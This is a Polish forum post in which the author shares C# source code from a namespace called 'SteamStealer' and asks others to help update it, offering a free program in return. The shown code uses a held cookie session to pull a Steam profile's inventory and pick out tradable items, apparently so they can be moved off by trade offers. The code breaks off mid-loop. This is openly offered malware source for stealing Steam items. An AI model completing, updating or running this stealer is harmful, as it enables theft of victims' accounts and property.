Witam pisze tu kod bo piszę i tyle :) w temacie do rzeczy pomorze ktoś go zaktualizować
a jeba@@ to napisze tylko połowę :) za pomoc w aktualizacji kodu dam za free programik.
a jeba@@ to napisze tylko połowę :) za pomoc w aktualizacji kodu dam za free programik.
Kod:
using System.Collections;
using System.Net;
using System.Collections.Generic;
using System.Reflection;
using Newtonsoft.Json.Linq;
using System;
using System.Diagnostics;
using System.Text.RegularExpressions;
using System.Text;
using System.Linq;
using System.Threading;
namespace SteamStealer
{
static class Program
{
private static CookieContainer cookiesContainer;
private static List<string[]> OffersList;
private static List<string[]> GetItems(string steamID, string appID)
{
List<string[]> items = new List<string[]>();
while (true)
{
string link = "profiles/" + steamID + "/inventory/json/" + appID + "/2/";
string json = Http.SteamWebRequest(cookiesContainer, link, null, "");
try
{
JObject inventory = JObject.Parse(json);
if (((inventory.SelectToken("success") != null) && ((bool)inventory.SelectToken("success"))) &&
(inventory.SelectToken("rgDescriptions")).First != null)
{
IJEnumerable<JToken> descriptionsBase = inventory.SelectToken("rgDescriptions").Values();
foreach (JToken eachItem in inventory.SelectToken("rgInventory").Values())
{
JToken infoAbout = descriptionsBase.Where(each => each["classid"].ToString() == eachItem["classid"].ToString()).First();
if (infoAbout["tradable"].ToString() == "1")
{